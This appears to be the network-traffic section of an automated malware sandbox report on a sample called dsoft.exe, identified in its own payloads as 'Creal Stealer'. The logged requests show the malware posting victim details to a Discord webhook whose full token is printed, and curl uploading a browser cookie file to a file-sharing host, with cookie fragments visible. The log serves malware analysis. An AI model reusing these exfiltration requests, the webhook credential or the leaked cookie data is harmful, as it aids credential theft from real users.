                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dz10feN7fAn99NPMZP773e%2FFXNtbjo%2BKdyH0xJmtsLNoAHsgKkPCzK%2FYVKg%2B92W%2FAPyxxiNNk7lOukeltG%2FQRYsoshBYvtWWIpEbjMe3udtBQPhrLSAh4Frw1OoB"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=9e3e66dc681d70b9937e1195946526fe189d7f3e-1735498983; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=Q1t2swnpuPMmYcqSWEivjLPu1w11cnctRRnKVlKNp5o-1735498983981-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c4978d7c46b-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        23192.168.2.449785162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC1253INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:04 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498985
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qZJxoqwcVQaHvDuV%2FCIWEie3dTkamZ7TxGBqwIFZZ7fEPMDzCO1dQdfjdf6CWkU7TgAZgqwSc2QTROmiMG3J6boLjT9eoRLGPTqf492UkMn9M%2BGxUsl60mHocZt2"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=938ae12eef9d59bb3bc3310a43663fa79e78fdbd-1735498984; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=pd.ELW.Q88rABbitgAjHxgPJTNaWDoB4Xx66RC66ZmQ-1735498984585-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c4ce8faf793-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:04 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        24192.168.2.449793162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:05 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:05 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:05 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498987
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y66lmSQjYqsL0eNaQvvIJkkpXxVp4%2Fgx%2FuYk%2BwzB4A5JLjXfQaYCaxDsd62qlQ0w2elCKRHjllh473aNq6Rb0zA709LCmdxGsdhJw5H2kphtmk4vZ6u0OYPyh6IL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=29a15a11205d521fade2fce24bb51dc81e422ff7-1735498985; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=h_xZ24ShyDMMmxOICgAN9wP.Mrjy0u4wF8iOCpj4Bzg-1735498985928-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c558a715e6d-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        25192.168.2.44979231.14.70.2454435888C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:05 UTC199OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                        Host: store4.gofile.io
                                                                                                                                                                                                                                        User-Agent: curl/7.83.1
                                                                                                                                                                                                                                        Accept: */*
                                                                                                                                                                                                                                        Content-Length: 3349
                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=------------------------57369069af269aa3
                                                                                                                                                                                                                                        2024-12-29 19:03:05 UTC3349OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 37 33 36 39 30 36 39 61 66 32 36 39 61 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6a 38 53 51 55 54 6c 74 6e 56 55 35 63 4f 41 65 79 7a 71 53 78 57 2d 71 48 4f 61 6b 52 75 42 48 44 51 47 4c 54 47 65 63 65 43 39 5a 35 72 52 7a 6b 35 74 72 4d 4b 62 34 43 75 5a 43 5f 43 46 6d 63 37 4b 46
                                                                                                                                                                                                                                        Data Ascii: --------------------------57369069af269aa3Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE2597573456NID511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KF
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Server: nginx/1.27.1
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:06 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 438
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                        Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC438INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 35 34 39 38 39 38 36 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 75 34 33 61 56 4f 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 69 66 58 77 71 39 32 34 44 36 39 33 32 63 72 74 6d 4b 66 6b 4f 30 6a 76 66 65 34 4b 50 43 4f 7a 22 2c 22 69 64 22 3a 22 63 31 65 34 65 39 38 35 2d 31 35 37 35 2d 34 35 61 62 2d 61 62 62 30 2d 37 38 64 65 61 65 37 34 31 35 35 39 22 2c 22 6d 64 35 22 3a 22 38 63 36 66 66 33 34 35 35 31 65 35 64 34 35 61 39 65 36 30 61 30 33 64 33 31 34 38 37 30 35 33 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69
                                                                                                                                                                                                                                        Data Ascii: {"data":{"createTime":1735498986,"downloadPage":"https://gofile.io/d/u43aVO","guestToken":"ifXwq924D6932crtmKfkO0jvfe4KPCOz","id":"c1e4e985-1575-45ab-abb0-78deae741559","md5":"8c6ff34551e5d45a9e60a03d31487053","mimetype":"text/tab-separated-values","modTi


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        26192.168.2.449795162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC1261INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:06 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498987
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r7yP4ivm6RbandCcVRbVHU%2BPjKRFxmv60taRCz6t%2BXoMo%2Bsu93nT%2BXmZsVLssAnscBgqWoEs8jm6H1fg1PI71Px4%2FkDIU1u0cjmb%2F1FV4fVymoiWlXFppWs4CyrV"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=bb459069412c3cf48a5fe98c4b8ff9406e04cfa2-1735498986; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=uBW5PRmawx..EwZVxQbmIEzqtncmSXqXKacr2iVRNDQ-1735498986400-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c5838e3de96-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:06 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        27192.168.2.449800162.159.138.2324434336C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC332OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 420
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC420OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 41 70 70 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 5c 6e 5c 6e 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c 20 22 69 63 6f 6e 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 41 79 68 75 75 75 2f 43 72 65 61 6c
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | App Stealer", "description": "\n\n", "color": 2895667, "footer": {"text": "Creal Stealer", "icon_url": "https://raw.githubusercontent.com/Ayhuuu/Creal
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC1257INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:07 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
                                                                                                                                                                                                                                        x-ratelimit-remaining: 4
                                                                                                                                                                                                                                        x-ratelimit-reset: 1735498989
                                                                                                                                                                                                                                        x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                        via: 1.1 google
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwMCpDWiehpHf74gXesUnb7hdkoZQiiZ1hHfH2YpMWiq%2BrB3NdT0uEAXduMBc%2FAUtEUDrHrKX8pQjfFOv95PALfxgsr7Vuo772yaUb3Ufs%2BgT9H3nTiVVoyEInj%2F"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                        Set-Cookie: __cfruid=7140a4c162eba94fe993e9a3dad9aa978c39aba2-1735498987; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                        Set-Cookie: _cfuvid=q2rHGilsPvHFAVAUKthGeNmueMjTBtYbRjgAE1rzpIw-1735498987755-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8f9c0c60cba9334e-EWR
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                        Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        28192.168.2.449801162.159.138.2324437128C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC333OUTPOST /api/webhooks/1229145117030486016/NQ2uXKhRK5qXx6KyXPMsHxeSepNPgw-XGytvxLPiTkjstD1PhyXZx-vnSqKWA2DwPXjL HTTP/1.1
                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                        Content-Length: 1787
                                                                                                                                                                                                                                        Host: discord.com
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        2024-12-29 19:03:07 UTC1787OUTData Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 46 6f 75 6e 64 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a 30 2a 2a 20 50 61 73 73 77 6f 72 64 73 20 46 6f 75 6e 64 5c 6e 3c 61 3a 43 48 5f 49 63 6f 6e 41 72 72 6f 77 52 69
                                                                                                                                                                                                                                        Data Ascii: {"content": ":flag_us: - `user | 8.46.123.189 (United States)`", "embeds": [{"title": "Creal Stealer | Password Stealer", "description": "**Found**:\n\n\n**Data:**\n<a:hira_kasaanahtari:886942856969875476> \u2022 **0** Passwords Found\n<a:CH_IconArrowRi
                                                                                                                                                                                                                                        2024-12-29 19:03:08 UTC1255INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                        Date: Sun, 29 Dec 2024 19:03:08 GMT
                                                                                                                                                                                                                                        Content-Type: application/json
                                                                                                                                                                                                                                        Content-Length: 45
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Cache-Control: public, max-age=3600, s-maxage=3600
                                                                                                                                                                                                                                        strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                        x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                        x-ratelimit-limit: 5
